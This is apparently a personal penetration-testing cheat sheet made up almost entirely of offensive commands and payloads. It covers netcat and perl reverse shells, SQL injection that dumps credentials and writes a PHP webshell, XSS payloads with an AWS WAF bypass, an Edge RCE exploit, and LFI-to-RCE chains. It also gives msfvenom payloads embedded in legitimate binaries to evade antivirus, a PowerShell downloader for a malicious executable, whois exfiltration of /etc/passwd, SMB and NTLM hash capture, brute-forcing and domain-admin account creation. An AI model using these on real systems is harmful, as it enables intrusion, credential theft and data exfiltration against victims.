Pentest-Cheat-Sheet

***********************************************************************************************
					Obtaining shell
***********************************************************************************************

Reverse Shell netcat:
nc -lvp 443      # Attacker listening for connection
nc -nv <IP Address> 443 -e /bin/sh  # Victim launch connection & give a shell


HPING3:
	/usr/sbin/hping3 <<< /bin/ls|
	> ls
	A B C D

SNMPWALK:
	snmpwalk 192.168.1.15 $(nc -vv 192.168.1.42 8888 >> /tmp/t)

MAN:
	root@w00t:~# man -P "/bin/ls $(whoami && /bin/sh)" ls
	echo "test" > /tmp/tata
	id
	^Csh: 0: Can't open root
	uid=0(root)
	man: command error: sed -e '/^[[:space:]]*$/{ N; /^[[:space:]]*\n[[:space:]]*$/D; }' | (cd <fd 5> && LESS=-ix8RmPm Manual page ls(1) ?ltline %lt?L/%L.:byte %bB?s/%s..?e (END):?pB %pB\%.. (press h for help or q to quit)$PM Manual page ls(1) ?ltline %lt?L/%L.:byte %bB?s/%s..?e (END):?pB %pB\%.. (press h for help or q to quit)$ MAN_PN=ls(1) /bin/sh root
	uid=0(root) gid=0(root) groupes=0(root))
	root@w00t:~# cat /tmp/tata 
	test


***********************************************************************************************
					 SQLi Basics 
***********************************************************************************************
number of column: 
	id=3 order by 100-- - // play on order by value to find number

Get vulnerable column:
	id=-3 union all select 1,2,3,4,5,6,7,8,9-- -

Get current user:
	id=-3 union all select 1,2,3,4,5,user(),7,8,9-- -

(View pentestmonkey or http://www.sqlinjection.net/union/ for ideas)


Get DBs :
	http://www.tata.com/index.php?id=-3 UNION SELECT 1,group_concat( schema_name,'<br>'),3,4,5 from information_schema.schemata -- -


List tables + columns:

	id=-3 UNION SELECT 1,group_concat(table_name,0x3a, column_name,'<br>'),3,4,5 from information_schema.columns where  table_schema ='DB_Cible' AND table_name LIKE '%user%' -- -

Same request based on columns names:
	-3 UNION SELECT 1,group_concat(table_name,0x3a, column_name,'<br>'),3,4,5 from information_schema.columns where  table_schema ='DB_Cible' AND column_name LIKE '%log%' -- -

Dump data from targeted DB + table + columns:
	-3 UNION SELECT 1,group_concat( login,0x3a,mdp,'<br>'),3,4,5 from DB_Cible.user -- - // here user is the previous identified table_name, it may change...

Read file:
	id=-3 UNION SELECT 1,load_file('/etc/hosts'),3,4,5  -- -

Code exec using "into outfile' (MySQL):
(phpinfo() payload in Hex.):
	-7 UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -

Webshell:
	<pre><?php if($_REQUEST["cmd"]) {passthru( $_REQUEST["cmd"]);}?></pre>

Blind detection:
	http://evil.com/index.php?id=29 and substring(version(),1,1)=5 -- -

	Sub SELECT ok:
		http://evil.com/index.php?id=29 and (select 1)=1  -- -
		
SQLMAP usage:
	Google chrome "export cookie" module + Burp proxy usage:
		sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3


	SQLMAP tor+WaF bypassing + DBG (users enumeration):
		sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --users --tamper "space2morehash.py"  -v 3  --check-tor --level=5 --risk=3 --threads=5 


	Tor usage: --tor --tor-type=SOCKS5
	Random useragent:  --random-agent


***********************************************************************************************
					FIREWALKING
***********************************************************************************************

FW bypassing over TCP by source port fixiation:
	traceroute  -p444 -T target-ip --sport=1111 -d --back -A --max-hops=16 


firewalk  -n  -pTCP -d target-port  last-node-ip target-ip -s source-port
	
-S usage (ports range):
	firewalk -n -S 20-445 -pTCPlast-node-ip  target-ip -s 1028
Trick:
	do not hesitate to play with src port value

nmap --script=firewalk --traceroute XXXXX  --osscan-guess -sV -O -Pn -d --top-port=20 --reason -f

***********************************************************************************************
					WIRELESS
***********************************************************************************************
WEP: 	
	aircrack-ng suite

WPA/WPA2:

	airmon-ng start wlan0

	wash -i mon0

	airodump-ng mon0

	reaver -i mon0 -b XX:XX:XX:XX:XX:XX 

	reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv

Client side attacks such like"karma atack" using Mana: https://github.com/sensepost/mana

***********************************************************************************************
					Pentest tricks and Methodology
***********************************************************************************************

Mail extraction from DB dump:
	grep -EiEio '\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b' * |sort |uniq -c |sort | grep -v "pattern1"| grep -v "pattern2" |grep -v "pattern3"|grep -v "pattern4"|grep -v "pattern5"| sed -r -e "s/^.*[,:]([^,:]+@[^,:]+).*$/\1/g" 

Vhosts enumeration:

	cat vhosts.sh:
		#!/bin/bash

		echo""
		echo "[+] Finding VHOSTS for: $1"
		echo ""
		curl http://api.hackertarget.com/reverseiplookup/?q=$1

Linux password cracking:
	root@kali:~# unshadow passwd-file.txt shadow-file.txt
		victim:$6$H4ndrFOW$FqzEd1MMbtEpB2azf5/xwx08arqM.jL0pk/k7ug9BksbguW81CQcof2IU4u./BExaKlc1:1000:1000:,,,:/home/victim:/bin/bash
		
	root@kali:~# unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
	root@kali:~# john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
	
MSF basic knowledge:
	auxiliary/scanner/portscan/tcp
	post/windows/gather/enum_logged_on_users
	post/multi/gather/dns_srv_lookup
	post/windows/gather/enum_applications
	post/windows/gather/enum_termserv (active RDP sessions)
	post/windows/gather/enum_putty_saved_sessions (if putty)
	post/windows/gather/credentials/credential_collector 
	post/windows/gather/enum_shares 
		auxiliary/scanner/smb/smb_enumshares // to view on which share we can access
	post/windows/gather/enum_snmp (SNMP on compromised host?)
	post/multi/recon/local_exploit_suggester 
	post/windows/gather/credentials/vnc
	auxiliary/admin/mysql/mysql_enum
	
	Use the capture module for all protocols like SMB in order to collect creds:
		auxiliary/server/capture/smb
		http://www.adeptus-mechanicus.com/codex/metalan/metalan.html
	
	Metepreter keylogging:
		keyscan:
			https://www.offensive-security.com/metasploit-unleashed/keylogging/
			
		post/windows/capture/keylog_recorder 
		
	Domain admin "problem":
		use incognito
		list_tokens -u
		impersonate_token DOMAIN.DOM\\Domain_Admin_user
		
		- Then spawn shell and:
			net user Pentester tAT@M45t3r /ADD /DOMAIN
			net group "Admin du domaine" Pentester /ADD
	
Host discovery:
	nmap -sn 10.11.1.1-254 -oG ping_sweep_nmap.grep
        grep Up ping_sweep_nmap.grep |cut -d " " -f2 >> list.txt
	
ALWAYS THINK ABOUT:
	View ARP cache on each machine
	View netstat output
	Look for new subnet to pivot & pwn! 
	
Todo:
	Take a look at the patch management
	Service fingerprinting
	Null Sessions + default passwords
	chek local FW:
		 netsh advfirewall firewall show rule name=all
	
	SMB vuln. assessment:
		nmap -v -p 445 --script=smb-vuln-* --script-args=unsafe=1 -iL List_windows.grep -Pn
		
	Test all http 80/443 (if custom then launch dirb on it)
	
	Identify/test network equipments:
		scan tcp 22,21,23 and udp 161 (snmp)
		
	if SNMP discovered:
		BF community by using custom script

***********************************************************************************************
					Basic Exploit Knowledge
***********************************************************************************************

Windows pwn basics:

	Gadgets finding:
		Using Immunity => !mona  modules   --then--   !mona find -s "\xff\xe4" -m VulnServer.exe (ou -m == module et -s == opcode here a classic JMP ESP)
		
		Final payload:
			
			payload = 'A' * 1040 # trouv via pattern_create pis pattern_offset 
			payload += struct.pack("I", 0x65d11d71) # EIP -> JMP ESP gadget identification via mona + Immunity
			payload += "\x90" * 10 # nopsleds
			payload += shellcode # shellcode (msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.244 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x0a\x0d"   + nc -vv -l -p 4443)
	
***********************************************************************************************
					Pentesting Generic
***********************************************************************************************

Brute-force attacks:
	RDP:
		ncrack -vv --user offsec -P wordlist_perso.txt rdp://10.11.1.31	
	SSH:
		hydra -l root -P wordlist_perso.txt 10.11.1.251 ssh	
	.htaccess:
		medusa -h 10.11.1.8 -u admin -P wordlist_perso.txt -M http -m DIR:/cgi-bin/ -T 8
			
Basic php webshell:
	<pre><?php if($_REQUEST["cmd"]) {passthru( $_REQUEST["cmd"]);}?></pre>
	
XXS payload:
	 <script>location.href="http://10.11.0.244:8080/sL7oRAH"</script> 
	 <meta http-equiv="refresh" content="0; URL=http://10.11.0.244:8080/sL7oRAH">
	 
LFI exploitation:
	Dump MySQL DB via LFI:
		wget 'http://192.168.102.181/modules.php?name=Downloads&file=..\..\..\..\..\..\..\apachefriends\xampp\mysql\data\site\authors.MYI%00' -O authors.MYI
		wget 'http://192.168.12.1/modules.php?name=Downloads&file=..\..\..\..\..\..\..\apachefriends\xampp\mysql\data\site\authors.MYD%00' -O authors.MYD
		wget 'http://192.168.12.1/modules.php?name=Downloads&file=..\..\..\..\..\..\..\apachefriends\xampp\mysql\data\site\authors.frm%00' -O authors.frm
		
		Then:
			cp authors.* /var/lib/mysql/victim/
			service  mysql restart
			mysql -> use victim; ->   select * from authors; 
	
	RCE through LFI::		
		nc -nvv 10.11.4.4 80 // listener
		<?php echo shell_exec($_GET['cmd']);?> // Payload (PHP webshell)
		
		Inclusion in "access.log" and remote code execution:
			http://10.11.4.4/addguestbook.php?name=test&comment=blah&cmd=ipconfig&LANG=../../../../../../../xampp\apache\logs\access.log%00&Submit=Submit

		msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.244 LPORT=4444 -f exe-only > msf.exe
	 
		The PowerShell (wget.ps1) script to DL our meterpreter look likes this:

			echo $storageDir = $pwd > get.ps1
			echo $webclient = New-Object System.Net.WebClient >> get.ps1
			echo $url = "http://10.11.0.244:1337/evil.exe" >> get.ps1
			echo $file = "msf.exe" >> get.ps1
			echo $webclient.DownloadFile($url,$file) >> get.ps1

		Finally it could be executed by using the following command (once the metasploit exploit/multi/handler was launched):

			powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File get.ps1
			

XSS stored (browser exploitation):  
	MSF : server/browser_autopwn2
	CVE-2018-8495: (1 click RCE via Edge/I.E 11):
		document.body.innerHTML ='<a id="q" href=\'wshfile:test/../../System32/SyncAppvPublishingServer.vbs" test test;wmic process call create powershell;"\'>Exploit !</a>';
	BeeF Framework linked to MSF for more fun ;)
	
Store XSS in image file:
	exiftool '-Caption-Abstract=<script>alert('stored\ xss');</script>' image.jpg
	
XSS WAF bypass (tested on 07/10/2019 against AWS WAF):
	Basic payload for JS redirect on malicious URL: 
		window.location.replace("https://url.com/t.js ");
	Then: 
		B64 encoding -> Double URLencoding

	Final Payload looks like:
		https://url.lol/en/t/p=<script>eval(atob(decodeURIComponent("payload")))//

Reverse shell final payload:
	perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.11.0.244:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system("/bin/sh -c $_") while<>;'
	
Meterpreter payloads generation basics:
	msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.244 LPORT=4444 -f asp > shell.asp
	msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.11.0.244 LPORT=4444 -f elf > shell
	
	Inject the payload in a "legit" binary (AV bypassing for example):
		msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.244 LPORT=4444 -f exe  -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_embedded.exe
	
	Reverse shell JS (client side and web apps attacks):
		msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.244 LPORT=4443 -f js_le -e generic/none
		
Capturing hashes (windows O.S) via SMB:
	- on attacker's machine, run a fake SMB server: "/usr/bin/impacket-smbserver PWN /tmp"
	- on target: "powershell -executionpolicy bypass -nop -file \\UNC-PATH\payload.ps1" (permit to perform paylaod delivery AND to capture hashes)

Data exfiltration through "whois" utility:
	- on attacker's machine, launch a listener like: nc -vvv -l -p 1337
	- on victim: whois -h 10.11.13.37 -p 1337 $(cat /etc/passwd)
	
LolBins repositories for RCE, exfiltration and more:
	- Unix systems: https://gtfobins.github.io/#
	- Windows systems: https://lolbas-project.github.io/
	
Lolbin for NTLM hash exfiltration using an alternative way (released on January 24th 2020):
	sxstrace trace -logfile:\\192.168.xx.xx\a 

Insecure Redis instance (no password set) can be abused to collect credential by monitoring each command executed:
	redis-cli -h 192.168.X.X monitor >> Redis_Dump.txt (or using https://github.com/kmkz/exploit/blob/master/RedisCredentialCollector.pl)